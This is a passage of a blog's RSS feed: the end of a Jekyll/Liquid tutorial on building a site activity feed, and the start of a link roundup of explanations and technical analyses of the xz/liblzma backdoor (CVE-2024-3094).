    &lt;span class=&quot;cp&quot;&gt;{%&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;assign&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;icon&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;ph ph-notebook&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;%}&lt;/span&gt;
    &lt;span class=&quot;cp&quot;&gt;{%&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;assign&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;verb&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Logged&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;%}&lt;/span&gt;
    &lt;span class=&quot;cp&quot;&gt;{%&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;assign&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;excerpt&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;strip_html&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;strip_newlines&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;truncatewords&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;50&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;%}&lt;/span&gt;
  &lt;span class=&quot;cp&quot;&gt;{%&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;elsif&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;post_type&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;==&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;posts&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;%}&lt;/span&gt;
    &lt;span class=&quot;cp&quot;&gt;{%&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;assign&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;icon&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;ph ph-article&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;%}&lt;/span&gt;
    &lt;span class=&quot;cp&quot;&gt;{%&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;assign&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;verb&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Posted&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;%}&lt;/span&gt;
    &lt;span class=&quot;cp&quot;&gt;{%&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;assign&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;%}&lt;/span&gt;
  &lt;span class=&quot;cp&quot;&gt;{%&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;%}&lt;/span&gt;
     &lt;span class=&quot;cp&quot;&gt;{%&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;assign&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;icon&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;ph ph-chat-text&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;%}&lt;/span&gt;
     &lt;span class=&quot;cp&quot;&gt;{%&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;assign&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;verb&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;Shared&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;%}&lt;/span&gt;
  &lt;span class=&quot;cp&quot;&gt;{%&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;endif&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;%}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Finally, I need to create the structure for each record in the Activity feed. The code snippet below demonstrates this &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;div&lt;/code&gt; which houses some inline styling info for per-content-type aesthetics, &lt;a href=&quot;https://shopify.github.io/liquid/basics/introduction/&quot;&gt;Liquid&lt;/a&gt; syntax for pulling content record-specific URL, title, description, publish date, etc…&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;div&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;item&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;style=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;border-color: var(--{{item.collection}}-color); background-color: color-mix(in srgb, var(--{{item.collection}}-color) 7%, var(--background-color));&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;span&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;verb&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;i&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;{{ icon }}&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/i&amp;gt;&lt;/span&gt; {{ verb }}:&lt;span class=&quot;nt&quot;&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;h3&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;href=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;{{ item.url }}&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;{{ item.title }}&lt;span class=&quot;nt&quot;&gt;&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;div&amp;gt;&lt;/span&gt;{{ content }}&lt;span class=&quot;nt&quot;&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;span&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;date&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;i&amp;gt;&lt;/span&gt;published&lt;span class=&quot;nt&quot;&gt;&amp;lt;/i&amp;gt;&lt;/span&gt; {{ item.date | date: &apos;%B %e, %Y&apos; }}&lt;span class=&quot;nt&quot;&gt;&amp;lt;/span&amp;gt;&amp;lt;span&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;syndicate&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;{% if item.syndicate-to %}&lt;span class=&quot;nt&quot;&gt;&amp;lt;i&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ph ph-broadcast&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;title=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Syndication&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/i&amp;gt;&lt;/span&gt; {% for dest in item.syndicate-to %}{% if dest.url %}&lt;span class=&quot;nt&quot;&gt;&amp;lt;span&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;style=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;padding:0px 5px 0px 5px;&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;href=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;{{dest.url}}&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;{% if dest.icon %}&lt;span class=&quot;nt&quot;&gt;&amp;lt;i&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;{{dest.icon}}&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;title=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;{{dest.name}}&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/i&amp;gt;&lt;/span&gt;{% else %}&lt;span class=&quot;nt&quot;&gt;&amp;lt;i&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ph ph-share-network&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;title=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;{{dest.name}}&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/i&amp;gt;&lt;/span&gt;{% endif %}&lt;span class=&quot;nt&quot;&gt;&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&lt;/span&gt;{% endif %}{% endfor %}{% endif %}&lt;span class=&quot;nt&quot;&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
  {% if item.tags %}&lt;span class=&quot;nt&quot;&gt;&amp;lt;div&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;tags&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;{% for tag in item.tags %}&lt;span class=&quot;nt&quot;&gt;&amp;lt;span&amp;gt;&lt;/span&gt;#{{tag}}&lt;span class=&quot;nt&quot;&gt;&amp;lt;/span&amp;gt;&lt;/span&gt; {% endfor %}&lt;span class=&quot;nt&quot;&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;{% endif %}
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt;: Not described here is some of the more unique on-page CSS styling and the (very similar) div block I created to pull in the latest &lt;a href=&quot;https://shellsharks.com/changelog&quot;&gt;Changelog&lt;/a&gt; list.&lt;/p&gt;

&lt;h2 id=&quot;future-versions&quot;&gt;Future Versions&lt;/h2&gt;
&lt;p&gt;I have some ideas for what other types of content I may pull into this feed in the future…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;I’d like to introduce a new type of content, a “&lt;strong&gt;devlog&lt;/strong&gt;” - featuring specific writeups on exactly how I make changes to this site.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://shellsharks.com/podcast&quot;&gt;Podcasts&lt;/a&gt;&lt;/strong&gt;: I need to convert my podcast entries into a collection format. Oh and get Podcasting again!&lt;/li&gt;
  &lt;li&gt;I’m toying with the idea of converting my gargantuan &lt;strong&gt;&lt;a href=&quot;https://shellsharks.com/changelog&quot;&gt;changelog&lt;/a&gt;&lt;/strong&gt; page into a per-day or per-week collection format.&lt;/li&gt;
  &lt;li&gt;Bringing in &lt;strong&gt;&lt;a href=&quot;https://shellsharks.com/now&quot;&gt;/Now&lt;/a&gt;&lt;/strong&gt; (or &lt;strong&gt;/Then&lt;/strong&gt;) content. [&lt;a href=&quot;https://mastodon.social/@sass/112221427615760946&quot;&gt;2&lt;/a&gt;]&lt;/li&gt;
  &lt;li&gt;Reverse syndication of other posts around the web (i.e. Mastodon, Reddit, Bluesky, etc…) directly into the feed.&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;code-appendix&quot;&gt;Code Appendix&lt;/h2&gt;
&lt;p&gt;A full pasting of the code below…&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
{% for collection in site.collections %}
  {% assign content_array = content_array | concat: site[collection.label] %}
{% endfor %}

{% assign content_array = content_array | sort: &quot;date&quot; | reverse %}

{% assign post_type = &quot;&quot; %}

{% for item in content_array %}
  
  {% assign post_type = item.collection %}
  {% if post_type == &quot;notes&quot; %}
    {% assign icon = &quot;ph ph-note&quot; %}
    {% assign verb = &quot;Noted&quot; %}
    {% assign content = item.excerpt | strip_html | strip_newlines | truncatewords: 50 %}
  {% elsif post_type == &quot;captain_logs&quot; %}
    {% assign icon = &quot;ph ph-notebook&quot; %}
    {% assign verb = &quot;Logged&quot; %}
    {% assign content = item.excerpt | strip_html | strip_newlines | truncatewords: 50 %}
  {% elsif post_type == &quot;posts&quot; %}
    {% assign icon = &quot;ph ph-article&quot; %}
    {% assign verb = &quot;Posted&quot; %}
    {% assign content = item.description %}
  {% else %}
     {% assign icon = &quot;ph ph-chat-text&quot; %}
     {% assign verb = &quot;Shared&quot; %}
  {% endif %}

  &lt;span class=&quot;nt&quot;&gt;&amp;lt;div&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;item&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;style=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;border-color: var(--{{item.collection}}-color); background-color: color-mix(in srgb, var(--{{item.collection}}-color) 7%, var(--background-color));&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;span&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;verb&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;i&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;{{ icon }}&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/i&amp;gt;&lt;/span&gt; {{ verb }}:&lt;span class=&quot;nt&quot;&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;h3&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;href=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;{{ item.url }}&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;{{ item.title }}&lt;span class=&quot;nt&quot;&gt;&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;div&amp;gt;&lt;/span&gt;{{ content }}&lt;span class=&quot;nt&quot;&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;span&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;date&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;i&amp;gt;&lt;/span&gt;published&lt;span class=&quot;nt&quot;&gt;&amp;lt;/i&amp;gt;&lt;/span&gt; {{ item.date | date: &apos;%B %e, %Y&apos; }}&lt;span class=&quot;nt&quot;&gt;&amp;lt;/span&amp;gt;&amp;lt;span&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;syndicate&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;{% if item.syndicate-to %}&lt;span class=&quot;nt&quot;&gt;&amp;lt;i&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ph ph-broadcast&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;title=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Syndication&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/i&amp;gt;&lt;/span&gt; {% for dest in item.syndicate-to %}{% if dest.url %}&lt;span class=&quot;nt&quot;&gt;&amp;lt;span&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;style=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;padding:0px 5px 0px 5px;&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;a&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;href=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;{{dest.url}}&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;{% if dest.icon %}&lt;span class=&quot;nt&quot;&gt;&amp;lt;i&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;{{dest.icon}}&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;title=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;{{dest.name}}&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/i&amp;gt;&lt;/span&gt;{% else %}&lt;span class=&quot;nt&quot;&gt;&amp;lt;i&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;ph ph-share-network&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;title=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;{{dest.name}}&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/i&amp;gt;&lt;/span&gt;{% endif %}&lt;span class=&quot;nt&quot;&gt;&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&lt;/span&gt;{% endif %}{% endfor %}{% endif %}&lt;span class=&quot;nt&quot;&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
  {% if item.tags %}&lt;span class=&quot;nt&quot;&gt;&amp;lt;div&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;tags&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;{% for tag in item.tags %}&lt;span class=&quot;nt&quot;&gt;&amp;lt;span&amp;gt;&lt;/span&gt;#{{tag}}&lt;span class=&quot;nt&quot;&gt;&amp;lt;/span&amp;gt;&lt;/span&gt; {% endfor %}&lt;span class=&quot;nt&quot;&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;{% endif %}
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
{% endfor %}

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
</description>
        <pubDate>Tue, 09 Apr 2024 13:32:00 -0400</pubDate>
        <link>https://shellsharks.com/creating-an-activity-feed</link>
        <guid isPermaLink="true">https://shellsharks.com/creating-an-activity-feed</guid>
        
        <category>technology</category>
        
        <category>indieweb</category>
        
        <category>jekyll</category>
        
        
        <category>technology</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>xz/liblzma Compromise Link Roundup</title>
        <shark:summary><p>The infosec/technology world is abuzz with <a href="#discussion">discussions</a> and <a href="#technical-analyses">analyses</a> pertaining to the recently identified compromise of the open-source <code class="language-plaintext highlighter-rouge">xz/liblzma</code> compression library, i.e. <strong><a href="https://nvd.nist.gov/vuln/detail/CVE-2024-3094">CVE-2024-3094</a></strong>. Here is a roundup of links related to everything going on…</p>
</shark:summary>
        <description>&lt;p&gt;The infosec/technology world is abuzz with &lt;a href=&quot;#discussion&quot;&gt;discussions&lt;/a&gt; and &lt;a href=&quot;#technical-analyses&quot;&gt;analyses&lt;/a&gt; pertaining to the recently identified compromise of the open-source &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xz/liblzma&lt;/code&gt; compression library, i.e. &lt;strong&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-3094&quot;&gt;CVE-2024-3094&lt;/a&gt;&lt;/strong&gt;. Here is a roundup of links related to everything going on…&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;#tldr&quot;&gt;TL;DR&lt;/a&gt;&lt;/strong&gt; &lt;i class=&quot;ph-bold ph-arrow-down&quot; style=&quot;color:yellow;&quot;&gt;&lt;/i&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;explanations&quot;&gt;Explanations&lt;/h1&gt;
&lt;p&gt;Key links to get you up to speed on what is going on.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The original alert to the compromise - &lt;a href=&quot;https://www.openwall.com/lists/oss-security/2024/03/29/4&quot;&gt;backdoor in upsstream xz/liblzma leading to ssh server compromise | Openwall&lt;/a&gt; (&lt;em&gt;per &lt;a href=&quot;https://mastodon.social/@AndresFreundTec/112180083704606941&quot;&gt;Andres Freund&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;Notice from the original maintainer - &lt;a href=&quot;https://tukaani.org/xz-backdoor/&quot;&gt;XZ Utils backdoor | tukaani.org&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Two of the best explanatory writeups…&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://boehs.org/node/everything-i-know-about-the-xz-backdoor&quot;&gt;Everything I Know About the Xz Backdoor | Evan Boehs&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lcamtuf.substack.com/p/technologist-vs-spy-the-xz-backdoor&quot;&gt;Technologist vs spy: the xz backdoor debate&lt;/a&gt; (&lt;em&gt;per &lt;a href=&quot;https://infosec.exchange/@lcamtuf/112182346314363746&quot;&gt;@lcamtuf@infosec.exchange&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;h6 id=&quot;other-explanations&quot;&gt;Other Explanations&lt;/h6&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://doublepulsar.com/inside-the-failed-attempt-to-backdoor-ssh-globally-that-got-caught-by-chance-bbfe628fafdd&quot;&gt;Inside the failed attempt to backdoor SSH globally | DoublePulsar&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27&quot;&gt;FAQ on the xz-utils backdoor | thesamesam&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://thesoloadmin.com/supply-chain-intrigue/&quot;&gt;Supply Chain Intrigue, or The Spy Who Shagged My Repo&lt;/a&gt; (&lt;em&gt;per &lt;a href=&quot;https://bsky.app/profile/kyloson.com&quot;&gt;Matt Pogue&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://appsec.space/posts/xz-backdoor/&quot;&gt;The xz backdoor from a Security Engineer perspective&lt;/a&gt; (&lt;em&gt;per &lt;a href=&quot;https://infosec.exchange/@himazawa/112186949483648008&quot;&gt;@himazawa@infosec.exchange&lt;/a&gt;&lt;/em&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.reddit.com/r/explainlikeimfive/comments/1brf749/eli5_the_recently_discovered_xz_backdoor/&quot;&gt;ELI5: The recently discovered XZ backdoor | Reddit&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;technical-analyses&quot;&gt;Technical Analyses&lt;/h1&gt;
&lt;p&gt;Analysis from those on the ground investigating, reverse engineering and hunting…&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://bsky.app/profile/filippo.abyssdomain.expert/post/3kowjkx2njy2b&quot;&gt;Reversing the xz backdoor&lt;/a&gt; (&lt;em&gt;per &lt;a href=&quot;https://abyssdomain.expert/@filippo/112185827553387306&quot;&gt;Filippo Valsorda&lt;/a&gt;, &lt;a href=&quot;https://bsky.app/profile/filippo.abyssdomain.expert&quot;&gt;bsky&lt;/a&gt;&lt;/em&gt; | &lt;a href=&quot;https://www.openwall.com/lists/oss-security/2024/03/30/36&quot;&gt;Openwall&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://gynvael.coldwind.pl/?lang=en&amp;amp;id=782&quot;&gt;xz/liblzma: Bash-stage Obfuscation Explained&lt;/a&gt; by  &lt;a href=&quot;https://infosec.exchange/@gynvael/112186403234118116&quot;&gt;Gynvael Coldwind&lt;/a&gt;&lt;/li&gt;
